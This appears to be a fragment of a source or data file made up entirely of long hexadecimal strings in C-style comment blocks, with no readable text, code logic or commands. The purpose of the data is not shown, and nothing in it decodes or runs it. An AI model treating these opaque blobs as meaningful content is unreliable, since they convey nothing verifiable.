37a74044746c064f7fc11fcbd949a64b226614c7501f5cc5106ad4d65571e64fda9b4da775a3478c716bc053d7913a0f3fc97c4d76587662df2fd5cb6784732bcaa1325a60555bd07bdbffc2a98adefc4c02791a4b87475814a7bf2ebda238f3feb3d246576678bee4c124a4ef438ea41161d867847a1636157498684446e908110763045032ab6e74d5069b8cce754dd33aa06b1aff6efaffc23a662c07009144d301270083ae950fd2734e47a877c51f83b1d5dd6486c1c82e4eaa7d0b25fdcc88a79dae9e1b5db12f4400082a048cde13ea0f38ce9d747eb0ecf08bb953014b8622550c97fa85d69198f1ef5d96dff9a42c34dd2d47668dca825bdc63913da06a7fa8b8f7b89aa99185bd26f11b71133a4e668592cca4a69685363ce2a6f9e2fc00ae8aa345bf45b767eee431c0c32148c5e9f09663d94d88ecd12e045d54116549932d71bbed9c24874912e2c53efe47e8d6c011cfa2c657ec51519e0d7fafaceaa9b5f29fe119f61f6c7f797d6cda473cfd8f12bc62a4eec167eb1011e6ad6dd719bc7c7e8f6f288811c6435957c38c8df5fbd1a55938c9e1421ac4c966e37039edfb825aa38780fa959c41d4b64470dfe6a1585b666744fae2c62a906033849db72d341e0763baf3ce3eede622055c3ca68a910a513de89776ff9fcc836a9ba1d13ac4cf039ad2708f2f91c95947c530219a05debfdb482039cecec00901263cc723cc02770c44e96e75e5434c279e4ddb30b5a822f3782be973f11ca47f0618e207baeb2e49ca0b6bd403f638a56334627d5bbac25c70286e90cd6dd57a2cb825fba50917da0205cfbbdd30fe1536d4484e8e15e68f0928c674f4f1263da4dfc9c5b5a4534351b2500fde9b15bd4e38447c8a3263553ac6dcd60198509ab3761665b029d892c7085cad39148ebbd5b84133ea964e90278c0d70a78ef7e00ad8e7a95d08e3651965bd83400f2c4059f3a3e414082c48d7f446c119f8c1c3b715ee1bdb9040683ccfb7b7f47b14def88ad82a9dfa78d8aaa7bb4ca0b57f159b8d3d23ff341dd4d00ac49d2b477b8ccc375f0a366a1810f977f8d6ad65914865aaf7af316db68093e0b17b1025643c2d9d300394d2eb55b8bdfa684cbbe7522fd1ed1852946c6e98afcc44c42efef17ce74b6a6fb93bc6d72a61819cfd12895b4fee0062dcfa42d29c309549270f7b38d19e18a017decd6706f1dfac5a079070c131b9774d43015fd61cb735c2b7a459248443d8766df56da89956b44f3176480ddc7a0a67d9cfe774badf2994b5e4b63024cf274d826d258e37bbd8b608a579c95094082d90ce63fb53e3b1b2b5d5d23b6b5df2461a58341d3a03b3876920989501fd5e89fb3e60745fe10c33186a67a648ca897630678acedec8880cc18a0de75b123d20eebe3a596f5838fd8ec2520d3455bbc6183de4c4f0894fd8d215c41847921b02827c31dd6807270255d018ea210bcf64cfb6053*/
/*27d9184bfe2b1ef7a35e0cd8986a412c9441f14b374c79036b9e2a7215dd1a56bf6fae31411b63f7813fa0d81c4ba48c265cd81644ca9f18f022606229fd84a1195bf5c6fc910b362a14790cbe19cceadfdfb33566401a939734d2c71f55eecfd24b89e74aa3467758baa371831dceee1664961ea9afe93bed949e6d6b524de3f581d7e3ddb66c330e12d3352cbd2fd2475a879c3ceae9187a93f144568756727bae074c790654dcf1dc9ceee4306238222c32df5567f6d39a2eb8a7fb53c4a38f35574e34e40bfd6ba22a59148c424ffdab6374cbd91be5359707f33d1c74b35659ae1549ec6b1abfc9730055737215906d73ab8caf44a275a2cbd709d052bb0d222db7e581811f84e5f2e49058389e328e4e6d46014090729e3652b8be0d031c5b54c09bfb19bc67056888cc3500a349d1b684f4d664a3340f662e48f1b8b9567f17fc6370a9faebf2fb75fa5f7280976d08842b20c3e7ad145c392e4e9200ebbe28d07938b262a0668f814c76e99dbf6802ed67a7bc1b3763b2f0968d63eea9f377bca137a5035e5380f046bcdf7bac2e67d837c7e958b7320091506a38029cacd70233ff2c2a823e4aba21c231dc287546dbddad92dc2aac109c51d4304f63252b72f2630c1afc2dd80ebd92299848baa073089edfab70edb9465056c9413e9bf64032a7649b9d2043d6ab39980ed81e64ce3afa3fda1284a190c01cd71475c237626291e79c5b5e5d84fb3a397b595095052d02fdc7930b8d67cda953c0fef98d828c8ca240cf8394c7d23c1ac14d3dafe8ddf765f49152eb211d61c54c964a69d30cdd3b7e45408cb021cb1e34e5ed5a4c42a0d6f0b7ea9b9dc5f524d4c5e2a2d714809b198a83a6b9c8d061e6a3ad0343a15efc1a45f93d11dc937ca9458e4a3c6f0118cbb7035d443f77a30f5580f40fe155e4da2ab917fbf5e9f464ee46a62b0181c4b336701c5cae49cff1a0ad6107a4638a91ae1ae00d0f1209a169312329b02c45c27cc1c1557f79264e04ae55a3e03ddb7689fbc91a54dcef219820da2b392e5e54e2476e0fa82cf07385a980a8442e6f46d934d32157db5ae9d4c66e1373c93c2058c41a9af0bb6ab6c5dd7cb13e8ec73e87dee8481e56fc762f803217f3ed2fbe2344841b3a4fc85296c06192c1e516409d8b2e367c1dd765a32746cfa07efb57d523544c5c26e0f38e8b157852694ad10d5196efa124a801c6a438b2ebd2b835120de01383516b76a7bce0ba515a490ff42ca7dadf056db1f2bcdbfb4f84f3a18db0e832d829728dad2cf6b79ea321da29398074994648a68175e648b4e9fa0b364e7a44f431921e55eec848d1172b8b70ab5bf0a6976139b5f250a67959e819c8f33d9a12dcc705e43b9e6ddd42b959e2e223eb84aca6bedafd1d8642cea76250e7db70cc17dd3c574b680992aa89aeba982e1370244b4efdb71b18a8b5ae536fce213856a2a369205a3701d0eaa0946e4aa83e79c752795a7c07e7823c79d4bd5098f501173cca32d1479069920d7392843ebfa88ea52eb41e44f02dc6e77496f6e83bd24a3547b055e22c381def4c8bc0f49ca40987379cfdb6c339f79843bbeab3deb5c0de76191fc220a8e7dc8c8fdef2d3078033225331c6021e22ce54d8625e60ad25897621b00ec4f5e983a9f84ec24a6a69db3262eecb449ff44be0e961dd0feb6450ec9381a4c1640f4968e3ae593a70c69ab6b7165b034fd04297f25d9fe7c5ebc5d2ca49328af6d33063dcf14c2f529a597c1c05211c19dce48d33dc2d3607058a4d29c4ea2e15192bd6c18fe84ee9d16d8de36368810fd98acf5925edc5455d53dd8616ef71b3d56df0562d4e9af58313ee3782b9ace5448ccfb05d0795f822a569c431cf61c174739b16fef03274866e3284a5dc1b6b465fb99c9200fcf9e49f97e757ba10f4f63baa46dd816aa00345f5e4eec0566a508393fe269840830331c3149e2ee14b74d93cdcebf6bdcf727d2517093ad458e4f96070187c2ba41e2d9bc51b10ad809108784a9268fdb486650ab213a7511abfc3a7c2039ba565c0b106702bc579e18a2e9521228457c5f3f54810f50232096811e2fb2c4dff983322f3a03752cf63482712adb0d191512ec9b8d63bd70bfc86f92734c444335956989fdb3f393ef00f5442551d93684169ae1aca0d8e7afbc2d71bf5e208fe1c3fcbacb419c794b0bd3dc0d2f17232295d454bcd4647e60fabc75b22446b4d657f7238548bba4f54fd87d8a0406b4ec34525e79dde8be60835b6906b46d2d7d1b7f45650518516e36d6e3af0453ca83a5dc33afc51ddf8513c268e1ba40cdce2bcf205620c48285fa53e807836c0ef8b1d5dd1b908eacca7921ec84310643cb1d23836fa76b96691b443db25a19c30a97cc9f622df0d32f909f44e37db5530b0d051d2f9636b200cd60672fc55cfe31255c0992cd681cef145ca6ab3f1f3230280d435a1ec4d46779c5f9e90e0f7fa4ea7998540e0f1cb8361dff40e688334a755eba31a31410a59021129e0bc981f79077d82a29902825d6c576e90802ee34ca0b95ea927f7262bca6ef157e1ebe3fd7d1b98532e04c8d00841d876bb735bc16bfbf4ee7143625d6dd66e2b85ab8ee36ef1fb04303ecc0fe1cea483a3fc350fddbc9aa693d2824580bebafb9be39435c27d4514b6bef41aa623b67bdf1f42c09dd1376b04eb28aaea07aea2111b40047ba12d76bb3630feda2c5336bfd332145f67f763c1ead119542dfea66353ef6ccbcb069624030abd809de88c00d8e5ab11fe874f18cf7d624704ce17e6bc41fb085594841870999015a325d17dfd83eb5bb97b*/
/*4273923e4232575fefc4a11422126dd6f4340a02e1a30cad4857ee5fe59e2fdab30e2213661357f8fdccabd3e8da04b589440b6ccf8b73ecbcdbfb2104f3f9f602fcb79439fcb1965bcc651284dc49cf0eb32edd1312c67072fb0f4f9c014e5ab3e3b24c6454f9144de31c3e3678a5c9bbe56c16328dfa48e34b4c32a3dad064452175fa6b6764f164039f77b171ac284bdb8ec3e14b19ae796f47bf7158a5560745da5c9286c268c11e5c6430ec6a7773645cbbd5daf1e4fd456f7be9294dc8640e2596a64b4c3618cc2128f71cfc7b825cc23f004b6fa4605ed78ff8f98eff46e94b3a05435d83e7b5b2ece8ee272e2c078cd1b317e43e4b2131d242d7d2f409e202ca457f5b5fcb32013cdf27863abc078a46146c9b7dbbbdab4ac7494a76bee142c2bee053df8cc6e3ff42b4e99026c65d3b050f73c6aae33b30ebed410a070914044606dab8296149d7d4f9cc445052108246f2c40e7781c032fd6d94e4d2f19e4768d1b5c64d8e2b7d1c2b9430774e350a914cd80a702cd91f65599715d77f8e57d1185c9b2d875826d8f0f79497b839d033e07fcf997bfd0eb2bf2a18b91e9b9be160bc9647d4a1720696cb862827ffec53fe9f61c2ea39a3b01943ad877737df1901435b57dd1fa365e6e825e87bb9c466ce418ddff35dd1f80cc1920618ca403c7127687155694cb99cf5b05ca56d4f18c680a45311525258f22421585c92cf8d45fd2d5494bd01c1353e51b8aaa6ed138863f6baa0af14509d5dd218c9ac5d5baff7c70023bb9cd1d2c3ab4f8142a68594feec839c1007976317703911536d5977c4ccf6caa8c22041e39c73dae991ada3777edf3f4cfb700a1af5649b079378c6d635189a084fc91ee529faa4e831f12183246a4d58e9b7f6cf71593d14b777919a154e13da52613fa3322d28f0996906b811da01678dacc0639c8c89d5dffd04107f28a31e024dd329a453dc17461ce5a80c2354ea7208a6f54729d435014afe6ad027154a32cdf66388eed4897bc9c515252ffa3c4935224960ae7d1ada865b82d570123b22f6a9c49e1400fd3e08ec71d7397989196e89c3108a9557185fb016ce11c03a8c4af163c2905898186343c87fc1418b24dc1f48e6999e27961fcb0db23b993c0e8468a6b02d2b604aa40c6b3cd8fed3e00964d47aece3ac67d05be5b4b8abec9539756ae757f92284099b8f0a057ca161848a174e6d85613c218c9f4769c7091b44850152f5b87a1e61538f598ffd133808040d013d06a05d6227c27ea139321383aefd3e52d0b86656a3ccb06ac8b8f9f762e9eab0f267fc66421b6a8e29686fccf6ba50cba701eba4f2d776a6685723942c0e60d9d5ffb376f3967b085952b8b19814ea83e179cfcd8aa5b3db405e4e27d41d82af02f5cd14b385e8e80b0a5c5bad72e2a14637fa0ee267b5ee1d0afb76d4f0d83738a6cd10b971ef7b9b8070afbe084469473189bd32a99eb639aad9f38b1b4e38f9cdff0bc84b0994497d4a9248beecf42da9fc21e94e7fca0d3048edd89fcaaa583522b15cf8362d032588e293c00f530bfb3445565b87ef9b3bb73b653881f4092685fff966f93fefeee8c9cc29d71fe1bea5299351002867e20fc6faf25672e3d878b034544a195a04503aacaee417b6439e622fd4198cc0ff1196cc67e9447c675908115a7b018cd68838860da7d1180b18220c561e5655a3a5ac53d1e9d210fd3ec8ac761358bad9328ab8b1b5762f739667b44539195f36e6ff719c2ee47fb7458c23c4153500d3074c4adb7678f2b3109c046c0ba113004eabfb0dec64c70032f679eaa95099b135fa56fb0b189f0556d28ba334f4b07c390ed508e59d461923766f6b491ad651b814103591451b45ea122d86d460e4a53ed920e91c28b60a710b0e1fb3b02532031e7125a8b0cde47eab7b55d3c36baaffb6965be134a4000f3ba197eddbd0d1015872c7137a8329fae9111364bf666aac185b5854374ba36988e2a1119cd62a2958aeb6debbf2c02f75c8b5f1d121e9b9215e597ce605ca96d4be0eb1c644bf9f56168868c4965b2bf65f258a620ae0fe0f351a694e5d1de1a97327b96646b5ec62da7d1398d7de27e9c982057ddf66308c3ff8490a3b38100a6edd65f3cc4b570e69b75dff3132114f7e8b58e741b1844a6ffcd4a9538f35203104263f3bbb9b87120d4638403d054d3a599731b08dd68068acd51e6b17d826415730e4288db2a4dbd9727c07e79f134be6cd5dac85e36096abdc402e17051a6a6ecab53c135906a204cbf5ca1f4b08ebb9680259f8ac0c2bfd24f18026ef98a6fa0430a8ae63cb26c91f02ea5f70355589ad04d33f7251a63e39ba11bae7958a1aef96d155faac7e925308d5fd14caa3d33d79fca8d12879e4e3f9e01704ef2dff866523f3d6cdccea77445fc734753536b6e73750c7beb82d0b75d0f15ae82e4479f79d9636ec458dd1d493a3c70ff232441763cd2006617c95633b61cdd6f0c23a38f49d315f879486326ffe66ad6079ab7bcbf2430e52045433ac725f1840f6fbf9d6eef2578955f048c05a9136ead981acdcd6ccabcbe5ef7a5a91501c5be87a2565a4e1f51a36280f58240871b67c50039ead335fe075db9e26f48abfd069bbdfea886528f24cf00e7dc888bc56a8599fa28993d91f3aa2dc7f4bf4259b6d320d48dfb1bddf27ce1896527aebd1947c395f626c98eb99f6ad506295228e1fd08a3408ea049f60905bcdf2124843789d0dc056989672bb51d769a9edd9715951162ed0798ed1c90e6196cb6725f5bc7e38622444c9844661f1bc9e9f3d7ca262ea216c0000e858ab*/
/*4b5c5507f2eb713a01e4d8f87db6a62c5abd00dd45fd147c495fbd3a5e3b8418f4871c4d0bf8aaf2272635b6d15422fa496e0ae79b928799b18c21bfbc03779f5e1f3b55d8e2e4db0566326be765bbbdc492d2fbcec29348a1e933cb5372076ec0cebdcf6a7bc23411f6d749c0fae012622a6705c8e8a0b419ee53f287231bf680d77883f589b590a72f000e5f8ae86c04f12fa2b7455db71c201b371dd7128ed909b7425319cf934790598605c6e904f1532965e96a3815e84e2b7537446c1396d2c456cd2fc21ab1cf636661abcb071e58d9349121c86b58a33596c9b2cd5a110beef94f10fbb2d54f6a1c905825cf5125a752f993fd7d35d102d321911a89a3832a920c03ee16aebf8ab74e8ffe66ae133985cc588f86b62f5f1e20aa9dc557614ef53c8d0a905e124797293f5e34c0a2b7d6a3f5ef3f0e4b627fee643e4935789f5f25c1ff86144514a8a03a52808fef73362446c7d3e69d30059e675edb34977220b8b1feae6bbdce6553d3bd4cfa9899d364e990ff073dec2629e367818ba0d98990c8da799355e36b985b67097e0225fa717527806f4231ccff59d729dbcc5bdf6c4bd43d14a881610900abc42204ac2635dc2292711573be7a6aee5708ce137b1a555873538e142176582141a6a444d12109ef4086bcb4c3750246729edad4696b6403e6a820981c5c502c1a35c8ac58a306ed49ab344f72b01fa9e03b711b9d2c9eec9a8c98bcabdb82364e5b7c7d77a8bf29c94721cb7a7c40ca8961187cbf32e838132a9d67936f0573cc177fb5efa9722a8bb8a24c8404f8b7b16c1dc54e01e724590fc163e2ece9116641e2be88f616d343fe4d309384f4985681fabbc154a97e3f17ebb5dfddab82b1edfd9a7a15b1770c37db9af31968bdf11d6362b5e1f54ed4796e20ed52dd473aac39aaed3cd66bd09d8d21988beb87c3fccff29df859e95b969e8ccebfe7fb9744796ab96ae64ab24b7c859f7a739af42856c493c72bd5e9dd171de201899107308ecc62fbda213486d54421b8165eede018b09d78105b0e4bb91c01aaf03f2c76a691e50275560d2f88ab862311791ba5ac0a48afd996d4da1878dc098667764e5250e3004567afedea427ad01729151d766851a57ba4bb99bde34deb76e8f68a49f0bd2b26636f13d95f4514a6d2456d743bd38f68bad2d7c0ff95184542c5eded1f030997e0e66b1703fec4e506f633210e6c3eed7c10ccb6dc757210263b5c54084ae4e99500fdae8a8648ee7a79b13871de4bc6ab0eff52bc9969283bb04dd2d973bd6015a62ddb92e9b397d74aa2e6ddef7f1d00988680e50cf1710e79a76c186211c4675ddcfa4959ef94f6f457dafd6239368b4d03a17d4f68edc535c710af1bd163f62889a8e0536a66e7cdf5fbb7e2822844d5b408e41f23a7155ba95158b9cde423976dd20ff43d84278c1c8555469dd868d9b22316ae812978030b9bd61acce5cecff179b21f45b28141e081e0d98a289436875797c31a810d2b23c0a026222b504682f66b207f2b37cfd551e21e28286c5220381e5b367ce51f484350fccdf633450d2e9069ffbd795e6566184eace117b985f775ece19ca7a3c061c5e97d2967d943dfd9ab728e4ddca46b53574cc21299d8a876cfc7853299834246b4d1c265f3204df39df310c2c5ed11d334a4f2d9579abafaf466183e622654c4a7a82bf4ddc3ef915f33d6f76d18fe04a1fce3a9d2bc8e47214fc29db379429b8f5d179f37493b1b96ae4953b8525d871df8640e577d51f16314152851d272055d08ea4ac951d1e10218e67392523ef46ca78eb8e29a0645d060b6e67066bbdcc9008b48501078210a04e28b852a9437b2cabb40c64bf87e7b1359bb5aa095b4da20533ea7cb1575dd197167ee7d8102b43f3874be547029b75680c807d8ff60c906a6f323828f5bdcc6b54bb9fffaf4257032c0cdb94d3d7a75a32f46a9b183ae06c6c5831560223b2670566490cabaeb0fb7004b185691176d9ff25e0ff43b1cee7d9e7815a4a10efbbda6a81913d8b06b39f81e9490ae526fcfa7c2983a3a89c7bb7d4b4e6a1e78537a1eba16095c12a536d8faa6e5a3679f56af613e1f21b758eced9d962cf8518ae57a00d1702406735837cbec860f49804353686f0daf4ea7163c57b85c9b0d30991028fffb6b110d655e2dc3f3b153545bed17c870cc71d897fe8b3d1ebcd59212238747f9bc6deae9e9017c6ba6ff07d8ded8e92fc1329a1b1a04978fc5bc54d5aff48aee2cebd9ebce4c8dcab52f6c793807fd00d60177e447b25eb5c94289853852e721fb56471675b7a1574ef2b9154bddd9585aa67c678670762f07fcc5dfd89fea722434a18cda7eeac1ab2d8826a54d92b9f346e4cd4aaf3f488792e686428b64a58c4dc479ca1485b4435e57fb25168e79b26fd1e7c239b936ec6095c7e9efb053f5db4d7832a56b74fd425cb6c5efd8a2579a2c6cfc0e60325e1adc0f21d3ccc329c71896e1a11a0a6c0ea9f19179297040a1d53fc6853776b83e9b8a42da50982d823b1f3a2cae77d871c829cfb3bceb90473603e878dbca8426696e63c289d978374dfce86f35f74dc86b82f97416cd1cbb6177b62f8adf2c8a7c997333128bbb601d6bc3d0212054a2778c036275c4612217894b595a8f016712a76c578584a42e7a2bbea02d6a457c4938e96416a3e9ace01207b47ac57adf42ac5dc2f748ab90f10af088a6882a2330a0272d0b221ca7edb0314536e06a81c1b15f5ce500b6f2fc8d0a92c3ce6b15c1156cc42c66fab389eca3c443eafc85b2cc28dc8d7304ff077d90b7829df315e06769ff*/
/*1b57cb80760ad8496b43a77f76a38a06c1949d59be0e6a1a4e141c97d46155dd395ee5657a91c4f5d21865ebbd655cfce39983c5eeb40a097029054ad7f0c5227c8685818e664580e2e8566f82983817bafa8a484b6a78944f69de467260e8fa49a2ece2c5c0f21f97f8a7b54eccac5f5155271bed39cbb281376698a8fee7387b944938a25bb4bc833db309eb5ba75b58678c785fc98e2bd6c5fef74c18470d7e54d7874e173a9fa3d0674c4292e188b443e032460b9ca509ab9eb76475e7efb5c05532f3b35b2ee04903c24bbe076b2b0a7c6a6fc96d2a464189f8325dd1eaa71ea3d932510eed8c751ddc3cf573d7786103b15ed79df0ceac2a891bd6fb719869b77f3bcbf5d8b30fa2f9eaa423ac65a1c8d33b7ca5883897ded83f05e814699d165502aead0a9f2f5cf5e10fb52594224cde0ccae1a61e4202fa4578c0e7979633820649dcd1d29f399b84409911341f9086e7705b2cc7f619862afb717e93cd37a1eeeb99a48461c0cc639a68596646d230bb661e7e3e574013cea2522f8311ffa4ae7779f24cade18c3096198a2dba35353d4fc40cc17d95e6fb2a8de9c5a90563d3d7db42e0b3ba405ca316f9904562d0a8b47aa61671f5cc381e69f0d687412759fa281b7bed6fcb3a73d2bbc39c7b5ec7759572e3a7620b53adf899d8cac8c57378b2ac3b57b644bc8dd80ef2e8d32feb27592a539bb6fb98e6720e93c6164108252f1cfcfe4aa140d59cb6ce906af44726fb839bb77a56cc0a8882e59df6e5afe28f9d95e94712e2a45059804347ac07fd64bb4c4ec90a12f4cb0300cf2a1b4944cacc07914f578e3366e18a074c53d85733ff0f304585d7fbf3feda5de0eecdcceec0dcc9bb6ed23d5542a1e980ae4070d679e324bdc5f645aca5f219d94904ad0d7f5fcd8c805279895459086fae1ade5232fee8392d932bd25c725b13a61ae1b301c1c71dbd6f61ee4ca9f0703c689060fc26850a5308b1f802c45ebff5df8bd9956608b19e95f7ed282884f9d520e4c1e020646c0a27af5a69594e6a9a22e432d4cdbb2f0bd3c72f0d88cbf6feb8cd7aa0be7138ef21e1a187f921fd0fafc957063233865254b1c32c68a858cd53e348bc92b0d4915690a0f90331681ff0e87b90b42c609c8ee4f581edcadd7c753c7c51af7211e2f46a7e227e73723c27b7517fe98f51d35be17bb680c1f0b521728053e5e55f16051e6bbe3ab2e8c2c1fcb9838256b5bd26638a1b2b374fcaf04a47d077edeb8fbc242bd2f743fb7eafdb3674e77d149a063097f919d405d53179777be4f6bd73d749dbf5a9975faebaa10508a63e5e014a817070803523d7af33bfdd59c273fa1dde59a1f211a20cc9f9a19b2f4f7d30fbb7c3e933f27658b33b3c8741b5b8ab2a34ab9ac5d93e666c94c98b0957b4a51da8555b657c7464af166a7cef3117e53f69774701033374049ef184f7264e873fb94b4fe491f758e8ade72a3c867c125a785a83788a1816328f437f644c5ac4eabc6f029638f195de95f1a6296a7f830ecb4942fad1686a09f55a5b37ab0c5f32fde756760e95db3f2118c575c02f5c054dadb55f5e56c04109175b0bd465c51ce3b7f531bcd2f22eb27bcd6f556507b8f65f3c3cc6f5a07a0ede4a789ff6b9702f9b33dbeed8d4fbb3b94a22eb2bc80b0e8ca20d8819878dbb9284bab5071ea3e83a9ea6e225b8d0aa0a178487dc770fc91ed3beed053f90b83996cde18e47ee21842c79a32dfd7d5ed83e9ed4c6487a09e0d3de80e3b5a8b1c8e8981da445c5b52cd7aa99ec5f21a6cddb84bda1c11a6a8873aa3a6819ebc2c413534f7e8d1193beff48e9d2bfe78d2f2844583055cd90caf04433a3cc715bd900f90d6a2545278175c14ece59de34f14294835767f9453067485fb383e8e880fdc9dd87cd2df0f46707c96d97f53120f51877cebf38fed60d28525842141e94e55d3d628e61e0ac9756b7f73616e6dc59902deeb494cd796db253876c2045cde8a06204ad342d2b43f379f106a0f0547aed6834c3b680d414b2c05f5b4a3b3d7cf5bd9e12fca15f58db9b1e72e2ea045e48ff5806863db73e15e0a76ab56a45592b47cf9ce920f6deb6eb3eecf7569d221b2c60f2c021f8abd144d470acc71f5b26578d6e344a21c6070e3e87478c5fff3e0d5a8f1a9e39e019fc50370f3555169ac5a95afcd29cb47f6bbda57f77c57e6f989a54e58d6537df13df645ae964eeed7574b76617cf0b2f1f305aa9920b1e94977023152cf2ca0dab120ac0a911aca211667f9025c2255da3ecd30ec470faa5c2568f622b16e58a9e8135fefe75e831a6593af2af674dd03e65fec0e1ae52f0d71d7eec7dcf20831bd538d62a46f2d60dcd7f85e9b21ae51caa4646b436ba501b32b8dda78406147d61e19f9acfc94d621b6b2efe214c082ee09e38d166d5fc65f6a35ab3bd1425e2e42504dd39523156bffd0302407510803f5f4f633c77fc92928db8012aed142128be65219bb4fe3420bc3588059355fee3cab029779f531e211fbb3a4ab763f7b62a675bfc8cbe770eebd6d87755fcdbfa4167af9ecb2254df5205760c0be3ab837389e16479406c63eaf893b5ac8a8b40ebff9e38fb131d32da7fd2a00285b9ed0db645ac55633f12a985a473a1dc3de1f74876b84c51d293282b79213591f49fb122f4df854c2d8bf1b3ae7b3ea309724820ab091ecf1a51c358a2deaa24fc8dd44a81adefb57ef96bb084d87f8fdbe8607c2b917563f0c8998855d8a87ec04907f3d15845353bcd15270863ee44659c19d4919a60245792058e99e2a9789fda69418f2c77a53c85875dbcf064*/
/*15d277598130a3a90f8765d66fbe02a2e6281f597e301b5e2d3d1c494835af108be50868f6e0f601da67f545643234021b4ccaedefd10efa9b64a974d3d6e493e4e503b1544f3e84cdb1033cc4e00bb9bd33fffa1614c3bf329724809050c06b913618588f20ae03532da9dc08184dc0e4eb0cc57083a7cf2b853bb0a68081d8f01e1efead1a40bf814e8586a809b8a52b1ab353a128183b04e4010f7cc64b5a26ec46490132e68feefe70c6b1aa85cbf959f8fa65793a76e9dd1d82b58db9f76fd0468f183695cb2a983120bc8e6abc86a48ffce0b0f08b31b6dc12dd74552ed4d7d5bc6e1babfe5f8e8388a46199115d7cc9b0dff6ea413d94ce2ec3c63c26230c5e2dc5a30e64808bdd61ceed18a1387a6744b28fc3dad182d66c78500f09a449b8e89d47bff326c1d73053cf1a08d8b810f07b08cf615e289060eb3887d2540fa8cae802614a840f1ac46ad25cee1a0523602386be59287f7e5d7ec89a227ad190e396166f04767f2fb25fc5f13e72f96b1ac52053a2365f642f5b9f3380863ecca569d3e766eda74a32ea4fb209e75196e8af998ccb51c251520be225eba11913b65b38100b6ef6b208b6ac6aaea350cc1e2e401d390608bad4e32041924e9c5ab2f1258c80f79446e0a71ae08f6a913069646fade882cc61112327acde6cc1ddacaec9127e4ddc637a79474135bbc181422043027027cdd14b70d023fc3b5ae52e366723535b2106946e69662c9bbbaf540702d0c5975526f7ce07f700fbb99b4301c46c8a08a0bfd452cbe68bc39aebe742d4b899fb40c9b89ccc1460a7b0167d24b2bb91aeb5866ccd8a39fdda1e9ede308c5d5b5596ddbe32b5662baca56913afe9efbc4bbda9c86dfb0f86214e53382968fabf930cd2798a1ff150ad28bfae99623cf9af740ca6c14ea29e249dc302847cf970250c92d8c045dc5edac3a61a1c10fe242fccea8233ec0f3b2417f56ee77099a01a9ccc09c4c72b53189ba263c20f5cf4d5f2a20ffa89e867668197d6103222e7d9a27b143b2770de286f39704b22f35af15633a66496a939a15efc4d418ec830bb63e5d0ebe52219720a1821e02ed0f67545e8dc54c301329905b2ba79b2666b197d358da6a8b7639738461a169a835433ce875a78d58a43ad148e9bfcd40e87f285ea343bef3084250e0b15a9876215c91d163375aff96fe298fe02633d9729b2985690706cded986ef4d7ff538954e1102b762dc5c3b0c120a1dc2fc9eaa484fe9a331a30611b6982dfa6a627483223bbaa74aa6e92e9ea9ff3d24a2375405183da58023d8ada3f8e46c27185f4bde5cab839b7546977f87fb759ff1b03c418acbffb6b1f3bd9b9ecb007a7ec384775885432b7f776027fe461645c32552a7e8bf069be64870b15cd32211b9fe10a56afefe7a877442970bc09feeb2d849ddba53ad67b6aa74d2c46597a8da6418645cdfa2723db282e846196d3cc37ae69c147307c1e6a748a203ebb1b860e872c438b9d2a516204a497f9413e636ee13897bbc47ac688fa7951e4a8e1a33f3601154f69ddc621f0006b43107edd3bce05ca4d7dd3cab44dba0694e71cb006687aded90bd9ed0157c6b57f506ec2600750b8d877ce0e6df5bf268c2acf9848e5f2490d5ca32465ff7b65224ee6adaa6bc943cab3344d536724a2833a77bcc3795ac163ece0bc0be79537bf1f7045ae772eb38190968f67ce83ca3acc6f4debe0f82a8bb74c6c7ad7923ba32f6fa91a14852f829cd8b2962a8581d5507059e3e8ad97d0281231816152e39f00447c4d573e80fef5a79e7f5ccf36916c3f8c3e74474439a090d26991c847dacf01021391691acdd106e6fb2050167e5beddf365e810e77d474778887393e64544214d6d388d3411e4dfc461b7d76df82d6224ceda77e4fc002912c59135474f742308bf9cb2b68190f7f8130724b373c0c52edd5caa186f7f493cc7e467b8e4267a912afb4d686d1f8d48d8004f0087fe66a533c265eb4c18cfdcdcebfade56e9873fe45058d24aad3e35ce2e2ba2607040dc60feb7780ef7abf88acca90fe30575456553e02353213ff02dd2153e333e290ce639d1a9fdea5838ad9b3803cb6fa2951ab7ec8216d92d8621f9043529a2fb989d76d1c89935eeef84643bf2286ad008f476c084dc825050658c87b0ca89ee92788711167550f5047fe0d71f93e0d195aed96cd0c1af983ab4de862f9b638d77432955472d208506ff20eff4521ce1c5f7b204cbd91ebe41bec3c54453617229197aa31f4e0b5bb0bc6d6647212c10af24d1e85fa28acadd1ff3c62ad96d67c99d1c22d27b958365f30a7dfc9da6c45a8eef917bfb42c02462386717a13242d2e8211d8b7dfab9100a368fcff78368da3312cc9eae1215dd582c27921b24cf07cf2ca1f02e0e56b5ccac31ec33a56d6b093d81812d2444e8b6ae9b69fecab1d9aacb819b65903c221bef3eada272631c9e6ea8ee3fe14a379234fb47726ccc8a34c384faf743f82356bdb28f037aff5006225af8de63d228ac3004004979ef22ad429c5f262afd3cd6605d5852c5fd93595447a567c599ec2e2257f282d8a9135a6cda6610a19e8f0eb60546245b28fe12d4771c9e0c8774a36348070d40d487a2f0272bfbda7d31fd63651a9c32008ef1a29ddaffa52c4cc1c62bd6ecfb48890b891389e18bf47d4dde763de518cbc40a58902c5f79d356b8a5571172298e125ead9fcc708482f8493c6076e25354ab01ca6d7ad77bc1243c9465cf094a45bcf588007e2c3f17f895300e1d243a5348db73dc48522f1288b66d88a0cda76e165d97bd0cb1914405c7d65b*/
/*1e8ddd9fa68364ae14925d22110c43336c721c4064d23cc9421346c734beb7d50d06b750c7ba14e3316f09dc75a5ce44017ce38fce8a09b4f4ad46037318c08f7ef76439a5ef42b00599b5d3fb53a77a0e0c06c04224675226242d8617525e4952fb852897603f2931f27178c1b55f060b2c1bfc309e94c79a6a2c521d37e496e7ab8e30769bdbc8196261518111db9c7b37b9c680c5b09b4ff11b12eff41b5c3a4aa4024eeacc1342888c1c3875071050176aca0fbb430169d12048674c097ac00336f9b82521175549cfb0898cf26cf217536f886d3f98a39066524f1074dd379f127b76e2b962d06475a89fdb87d1e597f69bbcb926e486f84451ed049ae4bbd0e9ebe9e1ad6b835a76af926fc9c144f3b43f7d82c1aea0cc89dd3cc9b670ba8b5effdecca0f86f98424dba91757bbf367f61b8e140c2a362e690349014c07c9315d9163602aa00917da4e21d5cb9dab0f868676eef27d994243d24a4b236eee0e514a2944379039cfbe7c5e50aedf7eabbd61145936fda7124971f876ddef0b5da7ce4f1c95b5b84c7136966ae2db236c67964673e437da73fe1983991b9363798447791cfdacff91eb27ad70cefbb4953e0f00929baa77dffd49280e866b5a465e436562e87c2ead465bdf29a55849f9a1e58a6c348e3f0d5e280c229186ffb7b97f5cf35d9e8f02d825ba34ef8c2c8a06390c545ff4f9e002d682948b89637bb8347